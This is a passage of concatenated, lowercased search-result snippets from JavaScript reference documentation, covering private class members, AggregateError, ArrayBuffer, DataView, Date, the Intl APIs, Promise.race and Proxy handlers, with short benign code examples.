s"), which are identifiers prefixed with #. the # is a part of the name itself. it is used for declaration and accessing as well. the encapsulation is enforced by the language. it is a syntax error to refer to # names from out of scope. class classwithprivatefield { #privatefield constructor() { this.#privatefield = 42 this.#randomfield = 666 // syntax error } } const instance =
new classwithprivatefield() instance.#privatefield === 42 // syntax error private methods private static methods like their public equivalent, private static methods are called on the class itself, not instances of the class. like private static fields, they are only accessible from inside the class declaration. private static methods may be generator, async, and async generator functions. clas...
...); // 42 console.log(derived.publicstaticmethod2()); // typeerror private instance methods private instance methods are methods available on class instances whose access is restricted in the same manner as private instance fields. class classwithprivatemethod { #privatemethod() { return 'hello world' } getprivatemessage() { return this.#privatemethod() } } const instance =
new classwithprivatemethod() console.log(instance.getprivatemessage()) // expected output: "hello world" private instance methods may be generator, async, or async generator functions. private getters and setters are also possible: class classwithprivateaccessor { #message get #decoratedmessage() { return `✨${this.#message}✨` } set #decoratedmessage(msg) { this.#message = ms...
...nstance methods may be generator, async, or async generator functions. private getters and setters are also possible: class classwithprivateaccessor { #message get #decoratedmessage() { return `✨${this.#message}✨` } set #decoratedmessage(msg) { this.#message = msg } constructor() { this.#decoratedmessage = 'hello world' console.log(this.#decoratedmessage) } }
new classwithprivateaccessor(); // expected output: "✨hello world✨" specifications specification public and private instance fieldsthe definition of 'fielddefinition' in that specification. ...
AggregateError() constructor - JavaScript
the aggregateerror() constructor creates an error for several errors that need to be wrapped in a single error. syntax
new aggregateerror(errors[, message]) parameters errors an iterable of errors, may not actually be error instances. messageoptional an optional human-readable description of the aggregate error. ...
... the aggregateerror() constructor creates an error for several errors that need to be wrapped in a single error. syntax
new aggregateerror(errors[, message]) parameters errors an iterable of errors, may not actually be error instances. messageoptional an optional human-readable description of the aggregate error. ...
...e aggregateerror() constructor creates an error for several errors that need to be wrapped in a single error. syntax
new aggregateerror(errors[, message]) parameters errors an iterable of errors, may not actually be error instances. messageoptional an optional human-readable description of the aggregate error. ...
AggregateError - JavaScript
the aggregateerror object represents an error when several errors need to be wrapped in a single error. it is thrown when multiple errors need to be reported by an operation, for example by promise.any(), when all promises passed to it reject. constructor aggregateerror() creates a
new aggregateerror object. instance properties aggregateerror.prototype.message error message, defaults to "". aggregateerror.prototype.name error name, defaults to aggregateerror. ...
... reported by an operation, for example by promise.any(), when all promises passed to it reject. constructor aggregateerror() creates a
new aggregateerror object. instance properties aggregateerror.prototype.message error message, defaults to "". aggregateerror.prototype.name error name, defaults to aggregateerror. ...
...g an aggregateerror promise.any([ promise.reject(
new error("some error")), ]).catch(e => { console.log(e instanceof aggregateerror); // true console.log(e.message); // "all promises rejected" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] }); creating an aggregateerror try { throw
new aggregateerror([
new error("some error"), ], 'hello'); } catch (e) { console.log(e instanceof aggregateerror); // true console.log(e.message); // "hello" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] } specifications specification promise.anythe definition ...
Array.prototype.copyWithin() - JavaScript
ethod of the same name. the sequence is copied and pasted as one operation; pasted sequence will have the copied values even when the copy and paste region overlap. the copywithin function is intentionally generic, it does not require that its this value be an array object. the copywithin method is a mutable method. it does not alter the length of this, but it will change its content and create
new properties, if necessary. polyfill if (!array.prototype.copywithin) { object.defineproperty(array.prototype, 'copywithin', { value: function(target, start/*, end*/) { // steps 1-2. if (this == null) { throw
new typeerror('this is null or not defined'); } var o = object(this); // steps 3-5. var len = o.length >>> 0; // steps 6-8. var relativetarget ...
... ...
... ...
Array.prototype.every() - JavaScript
do not natively support it. this algorithm is exactly the one specified in ecma-262, 5th edition, assuming object and typeerror have their original values, and that callbackfn.call evaluates to the original value of function.prototype.call. if (!array.prototype.every) { array.prototype.every = function(callbackfn, thisarg) { 'use strict'; var t, k; if (this == null) { throw
new typeerror('this is null or not defined'); } // 1. let o be the result of calling toobject passing the this // value as the argument. var o = object(this); // 2. let lenvalue be the result of calling the get internal method // of o with the argument "length". // 3. let len be touint32(lenvalue). var len = o.length >>> 0; // 4. if iscallable(callbackfn) ...
...ect(this); // 2. let lenvalue be the result of calling the get internal method // of o with the argument "length". // 3. let len be touint32(lenvalue). var len = o.length >>> 0; // 4. if iscallable(callbackfn) is false, throw a typeerror exception. if (typeof callbackfn !== 'function' && object.prototype.tostring.call(callbackfn) !== '[object function]') { throw
new typeerror(); } // 5. if thisarg was supplied, let t be thisarg; else let t be undefined. if (arguments.length > 1) { t = thisarg; } // 6. let k be 0. k = 0; // 7. repeat, while k < len while (k < len) { var kvalue; // a. let pk be tostring(k). // this is implicit for lhs operands of the in operator // b. let kpresent be the resu...
...] -= 1 console.log(`[${arr}][${index}] -> ${elem}`) return elem < 2 }) // loop runs for 3 iterations, but would // have run 2 iterations without any modification // // 1st iteration: [1,1,3,4][0] -> 1 // 2nd iteration: [1,1,2,4][1] -> 1 // 3rd iteration: [1,1,2,3][2] -> 2 // --------------- // appending items // --------------- arr = [1, 2, 3]; arr.every( (elem, index, arr) => { arr.push('
new') console.log(`[${arr}][${index}] -> ${elem}`) return elem < 4 }) // loop runs for 3 iterations, even after appending
new items // // 1st iteration: [1, 2, 3,
new][0] -> 1 // 2nd iteration: [1, 2, 3,
new,
new][1] -> 2 // 3rd iteration: [1, 2, 3,
new,
new,
new][2] -> 3 // --------------- // deleting items // --------------- arr = [1, 2, 3, 4]; arr.every( (elem, index, arr) => { arr.pop() ...
Array.prototype.push() - JavaScript
description the push method appends values to an array. push is intentionally generic. this method can be used with call() or apply() on objects resembling arrays. ...
... description the push method appends values to an array. push is intentionally generic. this method can be used with call() or apply() on objects resembling arrays. the push method relies on a length property to determine where to start inserting the given values. ...
...which case length will also be created. although strings are native, array-like objects, they are not suitable in applications of this method, as strings are immutable. similarly for the native, array-like object arguments. examples adding elements to an array the following code creates the sports array containing two elements, then appends two elements to it. the total variable contains the
new length of the array. let sports = ['soccer', 'baseball'] let total = sports.push('football', 'swimming') console.log(sports) // ['soccer', 'baseball', 'football', 'swimming'] console.log(total) // 4 merging two arrays this example uses apply() to push all elements from a second array. do not use this method if the second array (morevegs in the example) is very large because the maximum n...
ArrayBuffer - JavaScript
ed-length raw binary data buffer. it is an array of bytes, often referred to in other languages as a "byte array".you cannot directly manipulate the contents of an arraybuffer; instead, you create one of the typed array objects or a dataview object which represents the buffer in a specific format, and use that to read and write the contents of the buffer. the arraybuffer() constructor creates a
new arraybuffer of the given length in bytes. you can also get an array buffer from existing data, for example from a base64 string or from a local file. constructor arraybuffer() creates a
new arraybuffer object. static properties get arraybuffer[@@species] the constructor function that is used to create derived objects. static methods arraybuffer.isview(arg) returns true if arg is ...
...thods arraybuffer.isview(arg) returns true if arg is one of the arraybuffer views, such as typed array objects or a dataview. returns false otherwise. instance properties arraybuffer.prototype.bytelength the read-only size, in bytes, of the arraybuffer. this is established when the array is constructed and cannot be changed. ...
...e.slice() returns a
new arraybuffer whose contents are a copy of this arraybuffer's bytes from begin (inclusive) up to end (exclusive). if either begin or end is negative, it refers to an index from the end of the array, as opposed to from the beginning. examples creating an arraybuffer in this example, we create a 8-byte buffer with a int32array view referring to the buffer: const buffer =
new arraybuffer(8); const view =
new int32array(buffer); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer' in that specification. ...
DataView() constructor - JavaScript
the dataview() constructor is used to create dataview objects. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new dataview(buffer [, byteoffset [, bytelength]]) parameters buffer an existing arraybuffer or sharedarraybuffer to use as the storage backing the
new dataview object. ...
...bute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new dataview(buffer [, byteoffset [, bytelength]]) parameters buffer an existing arraybuffer or sharedarraybuffer to use as the storage backing the
new dataview object. byteoffset optional the offset, in bytes, to the first byte in the above buffer for the
new view to reference. if unspecified, the buffer view starts with the first byte. bytelength optional the number of elements in the byte array. if unspecified, the view's length will match the buffer's length. return value a
new dataview object representing the specified data buffer. (that probably wasn't a very helpful description.) you can think of the returned object as an "interpreter" of ...
...inary form. exceptions rangeerror thrown if the byteoffset or bytelength parameter values result in the view extending past the end of the buffer. for example, if the buffer is 16 bytes long, the byteoffset is 8, and the bytelength is 10, this error is thrown because the resulting view tries to extend 2 bytes past the total length of the buffer. examples using dataview var buffer =
new arraybuffer(16); var view =
new dataview(buffer, 0); view.setint16(1, 42); view.getint16(1); // 42 specifications specification ecmascript (ecma-262)the definition of 'dataview constructor' in that specification. ...
DataView.prototype.byteLength - JavaScript
roperty is an accessor property whose set accessor function is undefined, meaning that you can only read this property. the value is established when an dataview is constructed and cannot be changed. if the dataview is not specifying an offset or a bytelength, the bytelength of the referenced arraybuffer or sharedarraybuffer will be returned. ...
...se set accessor function is undefined, meaning that you can only read this property. the value is established when an dataview is constructed and cannot be changed. if the dataview is not specifying an offset or a bytelength, the bytelength of the referenced arraybuffer or sharedarraybuffer will be returned. ...
...ished when an dataview is constructed and cannot be changed. if the dataview is not specifying an offset or a bytelength, the bytelength of the referenced arraybuffer or sharedarraybuffer will be returned. examples using the bytelength property var buffer =
new arraybuffer(8); var dataview =
new dataview(buffer); dataview.bytelength; // 8 (matches the bytelength of the buffer) var dataview2 =
new dataview(buffer, 1, 5); dataview2.bytelength; // 5 (as specified when constructing the dataview) var dataview3 =
new dataview(buffer, 2); dataview3.bytelength; // 6 (due to the offset of the constructed dataview) specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.bytelength' in that specification. ...
DataView - JavaScript
rraybuffer, without having to care about the platform's endianness. description endianness multi-byte number formats are represented in memory differently depending on machine architecture — see endianness for an explanation. dataview accessors provide explicit control of how data is accessed, regardless of the executing computer's endianness. var littleendian = (function() { var buffer =
new arraybuffer(2);
new dataview(buffer).setint16(0, 256, true /* littleendian */); // int16array uses the platform's endianness. return
new int16array(buffer)[0] === 256; })(); console.log(littleendian); // true or false 64-bit integer values because javascript does not currently include standard support for 64-bit integer values, dataview does not offer native 64-bit operations. as a worka...
... instance properties dataview.prototype.buffer the arraybuffer referenced by this view. fixed at construction time and thus read only. dataview.prototype.bytelength the length (in bytes) of this view from the start of its arraybuffer. fixed at construction time and thus read only. dataview.prototype.byteoffset the offset (in bytes) of this view from the start of its arra...
... value at the specified byte offset from the start of the view. dataview.prototype.setbigint64() stores a signed 64-bit integer (long long) value at the specified byte offset from the start of the view. dataview.prototype.setbiguint64() stores an unsigned 64-bit integer (unsigned long long) value at the specified byte offset from the start of the view. examples using dataview var buffer =
new arraybuffer(16); var view =
new dataview(buffer, 0); view.setint16(1, 42); view.getint16(1); // 42 specifications specification ecmascript (ecma-262)the definition of 'dataview' in that specification. ...
Date() constructor - JavaScript
ance that represents a single moment in time in a platform-independent format. date objects contain a number that represents milliseconds since 1 january 1970 utc. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new date()
new date(value)
new date(datestring)
new date(year, monthindex [, day [, hours [, minutes [, seconds [, milliseconds]]]]]) note: the only correct way to instantiate a
new date object is by using the
new operator. if you simply call the date object directly, such as now = date(), the returned value is a string rather than a date object. parameters there are four basic forms for the da...
...[, hours [, minutes [, seconds [, milliseconds]]]]]) note: the only correct way to instantiate a
new date object is by using the
new operator. if you simply call the date object directly, such as now = date(), the returned value is a string rather than a date object. parameters there are four basic forms for the date() constructor: no parameters when no parameters are provided, the
newly-created date object represents the current date and time as of the time of instantiation. time value or timestamp number value an integer value representing the number of milliseconds since january 1, 1970, 00:00:00 utc (the ecmascript epoch, equivalent to the unix epoch), with leap seconds ignored. keep in mind that most unix timestamp functions are only accurate to the nearest...
...epresenting the millisecond segment of a time. the default is 0 milliseconds past the second. examples several ways to create a date object the following examples show several ways to create javascript dates: note: parsing of date strings with the date constructor (and date.parse, they are equivalent) is strongly discouraged due to browser differences and inconsistencies. let today =
new date() let birthday =
new date('december 17, 1995 03:24:00') let birthday =
new date('1995-12-17t03:24:00') let birthday =
new date(1995, 11, 17) // the month is 0-indexed let birthday =
new date(1995, 11, 17, 3, 24, 0) specifications specification ecmascript (ecma-262)the definition of 'date' in that specification. ...
Date.prototype.setMonth() - JavaScript
de of the expected range, setmonth() attempts to update the date information in the date object accordingly. for example, if you use 15 for monthvalue, the year will be incremented by 1, and 3 will be used for month. the current day of month will have an impact on the behaviour of this method. ...
...ate the date information in the date object accordingly. for example, if you use 15 for monthvalue, the year will be incremented by 1, and 3 will be used for month. the current day of month will have an impact on the behaviour of this method. conceptually it will add the number of days given by the current day of the month to the 1st day of the
new month specified as the parameter, to return the
new date. ...
...ehaviour of this method. conceptually it will add the number of days given by the current day of the month to the 1st day of the
new month specified as the parameter, to return the
new date. for example, if the current value is 31st august 2016, calling setmonth with a value of 1 will return 2nd march 2016. this is because in 2016 february had 29 days. examples using setmonth() var thebigday =
new date(); thebigday.setmonth(6); //watch out for end of month transitions var endofmonth =
new date(2016, 7, 31); endofmonth.setmonth(1); console.log(endofmonth); //wed mar 02 2016 00:00:00 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setmonth' in that specification. ...
FinalizationRegistry - JavaScript
provides a way to request that a cleanup callback get called at some point when an object registered with the registry has been reclaimed (garbage-collected). (cleanup callbacks are sometimes called finalizers.) note: cleanup callbacks should not be used for essential program logic. see notes on cleanup callbacks for details. you create the registry passing in the callback: const registry =
new finalizationregistry(heldvalue => { // .... }); then you register any objects you want a cleanup callback for by calling the `register` method, passing in the object and a *held value* for it: registry.register(theobject, "some value"); the registry does not keep a strong reference to the object, as that would defeat the purpose (if the registry held it strongly, the object would never be ...
...object); // ...some time later, if you don't care about `theobject` anymore... registry.unregister(theobject); it doesn't have to be the same object, though; it can be a different one: registry.register(theobject, "some value", tokenobject); // ...some time later, if you don't care about `theobject` anymore... registry.unregister(tokenobject); constructor finalizationregistry() creates a
new finalizationregistry object. instance methods finalizationregistry.prototype.register() registers an object with the registry in order to get a cleanup callback when/if the object is garbage-collected. finalizationregistry.prototype.unregister() unregisters an object from the registry. avoid where possible correct use of finalizationregistry takes careful thought, and it's best avoided...
...ls may be substantially after the related object was reclaimed. there are also situations where even implementations that normally call cleanup callbacks are unlikely to call them: when the javascript program shuts down entirely (for instance, closing a tab in a browser). when the finalizationregistry instance itself is no longer reachable by javascript code. examples creating a
new registry you create the registry passing in the callback: const registry =
new finalizationregistry(heldvalue => { // .... }); registering objects for cleanup then you register any objects you want a cleanup callback for by calling the `register` method, passing in the object and a *held value* for it: registry.register(theobject, "some value"); specifications specification ...
Function - JavaScript
calling the constructor directly can create functions dynamically but suffers from security and similar (but far less significant) performance issues to eval. however, unlike eval, the function constructor creates functions that execute in the global scope only. instance properties function.arguments an array corresponding to the arguments passed to a function. ...
...he display name of the function. function.length specifies the number of arguments expected by the function. function.name the name of the function. instance methods function.prototype.apply(thisarg [, argsarray]) calls a function and sets its this to the provided thisarg. arguments can be passed as an array object. function.prototype.bind(thisarg[, arg1[, arg2[, ...argn]]]) creates a
new function which, when called, has its this set to the provided thisarg. optionally, a given sequence of arguments will be prepended to arguments provided the
newly-bound function is called. function.prototype.call(thisarg[, arg1, arg2, ...argn]) calls a function and sets its this to the provided value. arguments can be passed as they are. function.prototype.tostring() returns a string represen...
...create closures to their creation contexts; they always are created in the global scope. when running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the function constructor was created. this is different from using eval with code for a function expression. ...
Intl.Collator.prototype.resolvedOptions() - JavaScript
description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used. ...
...ect with properties reflecting the locale and collation options computed during initialization of this collator object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax collator.resolvedoptions() return value a
new object with properties reflecting the locale and collation options computed during the initialization of the given collator object. description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used. if any unicode extension values were requested in the input bcp 47 language tag that led to this locale, the key-value pairs that were re...
...on the value requested using the unicode extension key "co", if it is supported for locale, or "default". numeric casefirst the values requested for these properties in the options argument or using the unicode extension keys "kn" and "kf" or filled in as defaults. if the implementation does not support these properties, they are omitted. ...
Intl.DateTimeFormat.prototype.formatRangeToParts() - JavaScript
teractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax intl.datetimeformat.prototype.formatrangetoparts(startdate, enddate) examples basic formatrangetoparts usage this method receives two dates and returns an array of objects containing the locale-specific tokens representing each part of the formatted date range. ...
....com/mdn/interactive-examples and send us a pull request. syntax intl.datetimeformat.prototype.formatrangetoparts(startdate, enddate) examples basic formatrangetoparts usage this method receives two dates and returns an array of objects containing the locale-specific tokens representing each part of the formatted date range. ...
...nddate) examples basic formatrangetoparts usage this method receives two dates and returns an array of objects containing the locale-specific tokens representing each part of the formatted date range. ...
Intl.ListFormat() constructor - JavaScript
the intl.listformat() constructor creates objects that enable language-sensitive list formatting. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new intl.listformat([locales[, options]]) parameters locales optional. a string with a bcp 47 language tag, or an array of such strings. for the general form and interpretation of the locales argument, see the intl page. options optional. an object with some or all of the following properties: localematcher the locale matching algorithm to use. possible values are "lookup" and "best fit"; the default is "best fit". for information about this opt...
...length of the formated message. possible values are: "long" (default, e.g., a, b, and c); "short" (e.g., a, b, c), or "narrow" (e.g., a b c). when style is short or narrow, unit is the only allowed value for the type option. examples using format the following example shows how to create a list formatter using the english language. ...
...(e.g., a b c). when style is short or narrow, unit is the only allowed value for the type option. examples using format the following example shows how to create a list formatter using the english language. const list = ['motorcycle', 'bus', 'car']; console.log(
new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).format(list)); // > motorcycle, bus and car console.log(
new intl.listformat('en-gb', { style: 'short', type: 'disjunction' }).format(list)); // > motorcycle, bus or car console.log(
new intl.listformat('en-gb', { style: 'narrow', type: 'unit' }).format(list)); // > motorcycle bus car specifications specification intl.listformatthe definition of 'listformat()' in that specification. ...
Intl.Locale.prototype.baseName - JavaScript
the basename property returns basic, core information about the locale in the form of a substring of the complete data string. specifically, the property returns the substring containing the language, and the script and region if available. basename returns the language ["-" script] ["-" region] *("-" variant) subsequence of the unicode_language_id grammar. ...
...guage_id grammar. ...
...le to 24 hours let japan =
new intl.locale("ja-jp-u-ca-gregory-hc-24"); console.log(japan.tostring()); // prints out "ja-jp-u-ca-gregory-hc-h24" console.log(japan.basename); // prints out "ja-jp" example with options that override input string // input string indicates language as dutch and region as belgium, // but options object overrides the region and sets it to the netherlands let dutch =
new intl.locale("nl-latn-be", {region: "nl"}); console.log(dutch.basename); // prints out "nl-latn-nl" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale - JavaScript
about locale aspects such as calendar type, clock type, and numbering system type. traditionally, the intl api used strings to represent locales, just as unicode does. this is a simple and lightweight solution that works well. adding a locale class, however, adds ease of parsing and manipulating the language, script, and region, as well as extension tags. constructor intl.locale() creates a
new locale object. instance properties intl.locale.prototype.basename returns basic, core information about the locale in the form of a substring of the complete data string. intl.locale.prototype.calendar returns the part of the locale that indicates the locale's calendar era. intl.locale.prototype.casefirst returns whether case is taken into account for the locale's collation rules. intl...
... the locale based on existing values. intl.locale.prototype.minimize() gets the most likely values for the language, script, and region of the locale based on existing values. intl.locale.prototype.tostring() returns the locale's full locale identifier string. ...
...dentifier string as its argument: let us =
new intl.locale('en-us'); using the locale constructor with an options object the constructor also takes an optional configuration object argument, which can contain any of several extension types. ...
Intl.NumberFormat.prototype.format() - JavaScript
at(number) parameters number a number or bigint to format. description the format getter function formats a number into a string according to the locale and formatting options of this numberformat object. examples using format use the format getter function for formatting a single currency value, here for russia: var options = { style: 'currency', currency: 'rub' }; var numberformat =
new intl.numberformat('ru-ru', options); console.log(numberformat.format(654321.987)); // → "654 321,99 руб." using format with map use the format getter function for formatting all numbers in an array. note that the function is bound to the numberformat from which it was obtained, so it can be passed directly to array.prototype.map. this is considered a historical artefact, as part of a conv...
...onsole.log(numberformat.format(654321.987)); // → "654 321,99 руб." using format with map use the format getter function for formatting all numbers in an array. note that the function is bound to the numberformat from which it was obtained, so it can be passed directly to array.prototype.map. ...
...umbers in an array. note that the function is bound to the numberformat from which it was obtained, so it can be passed directly to array.prototype.map. this is considered a historical artefact, as part of a convention which is no longer followed for
new features, but is preserved to maintain compatibility with existing programs. var a = [123456.789, 987654.321, 456789.123]; var numberformat =
new intl.numberformat('es-es'); var formatted = a.map(n => numberformat.format(n)); console.log(formatted.join('; ')); // → "123.456,789; 987.654,321; 456.789,123" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat.prototype.format' in that specification. ...
Intl.PluralRules() constructor - JavaScript
a string with a bcp 47 language tag, or an array of such strings. for the general form and interpretation of the locales argument, see the intl page. options optional. an object with some or all of the following properties: localematcher the locale matching algorithm to use. possible values are "lookup" and "best fit"; the default is "best fit". for information about this option, see the intl page. type the type to use. possible values are: "cardinal" for cardinal numbers (refering to the quantity of things). this is the default value. ...
...1; the default is 1. maximumsignificantdigits the maximum number of significant digits to use. possible values are from 1 to 21; the default is 21. examples basic usage in basic use without specifying a locale, a formatted string in the default locale and with default options is returned. this is useful to distinguish between singular and plural forms, e.g. "dog" and "dogs". var pr =
new intl.pluralrules(); pr.select(0); // → 'other' if in us english locale pr.select(1); // → 'one' if in us english locale pr.select(2); // → 'other' if in us english locale using options the results can be customized using the options argument, which has one property called type which you can set to ordinal. this is useful to figure out the ordinal indicator, e.g. "1st", "2nd", "3rd", "...
.../ → 'other' if in us english locale pr.select(1); // → 'one' if in us english locale pr.select(2); // → 'other' if in us english locale using options the results can be customized using the options argument, which has one property called type which you can set to ordinal. this is useful to figure out the ordinal indicator, e.g. "1st", "2nd", "3rd", "4th", "42nd" and so forth. var pr =
new intl.pluralrules('en-us', { type: 'ordinal' }); pr.select(0); // → 'other' pr.select(1); // → 'one' pr.select(2); // → 'two' pr.select(3); // → 'few' pr.select(4); // → 'other' pr.select(42); // → 'two' specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules() constructor' in that specification. ...
Intl.PluralRules.prototype.resolvedOptions() - JavaScript
description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used. ...
... description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used. ...
...y if neither minimumsignificantdigits nor maximumsignificantdigits was provided in the options argument. minimumsignificantdigits maximumsignificantdigits the values provided for these properties in the options argument or filled in as defaults. these properties are present only if at least one of them was provided in the options argument. ...
Intl.PluralRules - JavaScript
the intl.pluralrules object enables plural-sensitive formatting and plural-related language rules. constructor intl.pluralrules.pluralrules() creates a
new intl.pluralrules object. static methods intl.pluralrules.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale. instance methods intl.pluralrules.prototype.resolvedoptions() returns a
new object with properties reflecting the locale and collation options computed during initialization of the object. intl.pluralrules.prototype.select() returns a string indicating which plural rule to use for locale-aware formatting. examples using locales this example shows some of the variations in localized plural rules. in order...
...string indicating which plural rule to use for locale-aware formatting. examples using locales this example shows some of the variations in localized plural rules. ...
...ware formatting. examples using locales this example shows some of the variations in localized plural rules. in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: // arabic has different plural rules
new intl.pluralrules('ar-eg').select(0); // → 'zero'
new intl.pluralrules('ar-eg').select(1); // → 'one'
new intl.pluralrules('ar-eg').select(2); // → 'two'
new intl.pluralrules('ar-eg').select(6); // → 'few'
new intl.pluralrules('ar-eg').select(18); // → 'many' specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules' in that specification. ...
Intl.RelativeTimeFormat() constructor - JavaScript
a string with a bcp 47 language tag, or an array of such strings. for the general form and interpretation of the locales argument, see the intl page. options optional. an object with some or all of the following properties: localematcher the locale matching algorithm to use. possible values are "lookup" and "best fit"; the default is "best fit". for information about this option, see intl. numeric the format of output message. ...
....g., in 1 month) "short" (e.g., in 1 mo.), or "narrow" (e.g., in 1 mo.). the narrow style could be similar to the short style for some locales. examples basic format usage the following example shows how to create a relative time formatter using the english language. // create a relative time formatter in your locale // with default values explicitly passed in. const rtf =
new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1). rtf.format(-1, "day"); // > "1 day ago" // format relative time using positive value (1). rtf.format(1, "day"); // > "in 1 day" using the auto optio...
...relative time using positive value (1). rtf.format(1, "day"); // > "in 1 day" using the auto option if numeric:auto option is passed, it will produce the string yesterday or tomorrow instead of 1 day ago or in 1 day. this allows to not always have to use numeric values in the output. // create a relative time formatter in your locale // with numeric: "auto" option value passed in. const rtf =
new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using negative value (-1). rtf.format(-1, "day"); // > "yesterday" // format relative time using positive day unit (1). rtf.format(1, "day"); // > "tomorrow" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat()' in th...
JSON.parse() - JavaScript
ext)) { text = text.replace(rx_dangerous, function(a) { return ( "\\u" + ("0000" + a.charcodeat(0).tostring(16)).slice(-4) ); }); } // in the second stage, we run the text against regular expressions that look // for non-json patterns. we are especially concerned with "()" and "
new" // because they can cause invocation, and "=" because it can cause mutation. // but just to be safe, we want to reject all unexpected forms. // we split the second stage into 4 regexp operations in order to work around // crippling inefficiencies in ie's and safari's regexp engines. first we // replace the json backslash pairs with "@" (a non-json charact...
...age we use the eval function to compile the text into a // javascript structure. the "{" operator is subject to a syntactic ambiguity // in javascript: it can begin a block or an object literal. we wrap the text // in parens to eliminate the ambiguity. ...
...al fourth stage, we recursively walk the
new structure, passing // each name/value pair to a reviver function for possible transformation. return (typeof reviver === "function") ? walk({ "": j }, "") : j; } // if the text is not json parseable, then a syntaxerror is thrown. throw
new syntaxerror("json.parse"); }; } examples using json.parse() json.parse('{}'); // {} json.parse('true'); // true json.parse('"foo"'); // "foo" json.parse('[1, 5, "false"]'); // [1, 5, "false"] json.parse('null'); // null using the reviver parameter if a reviver is specified, the value computed by parsing is transformed before being returned. s...
Object.entries() - JavaScript
examples const obj = { foo: 'bar', baz: 42 }; console.log(object.entries(obj)); // [ ['foo', '...
... const obj = { foo: 'bar', baz: 42 }; object.entries(obj).
... console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" } // or, using array extras object.entries(obj).foreach(([key, value]) => { console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" }); converting an object to a map the
new map() constructor accepts an iterable of entries. with object.entries, you can easily convert from object to map: const obj = { foo: 'bar', baz: 42 }; const map =
new map(object.entries(obj)); console.log(map); // map { foo: "bar", baz: 42 } iterating through an object using array destructuring, you can iterate through objects easily. const obj = { foo: 'bar', baz: 42 }; object.entries(obj).foreach(([key, value]) => console.log(`${key}: ${value}`)); // "foo: bar", "baz: 42" specifications specification ecmascript (ecma-262)the def...
Promise.race() - JavaScript
ettimeout(function(){ console.log('the stack is now empty'); console.log(p); console.log(p2); }); // logs, in order: // promise { <state>: "pending" } // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 100 } // promise { <state>: "fulfilled", <value>: "non-promise value" } using promise.race – examples with settimeout var p1 =
new promise(function(resolve, reject) { settimeout(() => resolve('one'), 500); }); var p2 =
new promise(function(resolve, reject) { settimeout(() => resolve('two'), 100); }); promise.race([p1, p2]) .then(function(value) { console.log(value); // "two" // both fulfill, but p2 is faster }); var p3 =
new promise(function(resolve, reject) { settimeout(() => resolve('three'), 100); }); va...
...e(function(resolve, reject) { settimeout(() => resolve('one'), 500); }); var p2 =
new promise(function(resolve, reject) { settimeout(() => resolve('two'), 100); }); promise.race([p1, p2]) .then(function(value) { console.log(value); // "two" // both fulfill, but p2 is faster }); var p3 =
new promise(function(resolve, reject) { settimeout(() => resolve('three'), 100); }); var p4 =
new promise(function(resolve, reject) { settimeout(() => reject(
new error('four')), 500); }); promise.race([p3, p4]) .then(function(value) { console.log(value); // "three" // p3 is faster, so it fulfills }, function(reason) { // not called }); var p5 =
new promise(function(resolve, reject) { settimeout(() => resolve('five'), 500); }); var p6 =
new promise(function(resolve, reject) { ...
... ...
handler.defineProperty() - JavaScript
the handler.defineproperty() method is a trap for object.defineproperty(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p =
new proxy(target, { defineproperty: function(target, property, descriptor) { } }); parameters the following parameters are passed to the defineproperty() method. this is bound to the handler. target the target object. property the name or symbol of the property whose description is to be retrieved. descriptor the descriptor for the property being defined or modified. return value the defineproperty() method must return a boolean indicating whether or not the ...
...g configurable property of the target object exists. if a property has a corresponding target object property then object.defineproperty(target, prop, descriptor) will not throw an exception. in strict mode, a false return value from the defineproperty() handler will throw a typeerror exception. examples trapping of defineproperty the following code traps object.defineproperty(). ...
... ...
handler.get() - JavaScript
this is bound to the handler. ...
...get object property if the target object property is a non-writable, non-configurable own data property. the value reported for a property must be undefined if the corresponding target object property is a non-configurable own accessor property that has undefined as its [[get]] attribute. examples trap for getting a property value the following code traps getting a property value. ...
...ng a property value. const p =
new proxy({}, { get: function(target, property, receiver) { console.log('called: ' + property); return 10; } }); console.log(p.a); // "called: a" // 10 the following code violates an invariant. const obj = {}; object.defineproperty(obj, 'a', { configurable: false, enumerable: false, value: 10, writable: false }); const p =
new proxy(obj, { get: function(target, property) { return 20; } }); p.a; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[get]]' in that specification. ...
handler.getOwnPropertyDescriptor() - JavaScript
